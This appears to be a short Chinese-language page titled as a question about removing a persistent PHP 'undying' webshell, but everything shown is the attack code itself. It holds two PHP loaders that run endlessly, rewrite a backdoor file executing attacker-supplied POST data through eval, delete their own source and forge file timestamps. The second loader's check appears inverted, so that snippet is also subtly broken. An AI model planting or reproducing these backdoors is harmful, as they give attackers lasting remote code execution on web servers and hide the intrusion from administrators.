php不死马如何删除

<?php ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = &#39;2.php&#39;;
$code = &#39;<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>&#39;;while (1){
    file_put_contents($file,$code);
    system(&#39;touch -m -d "2018-12-01 09:10:12" .2.php&#39;);
    usleep(5000);
} 
?>

Copy<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = &#39;c.php&#39;;
 $code = base64_decode(&#39;PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+&#39;); while(true) {     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }?>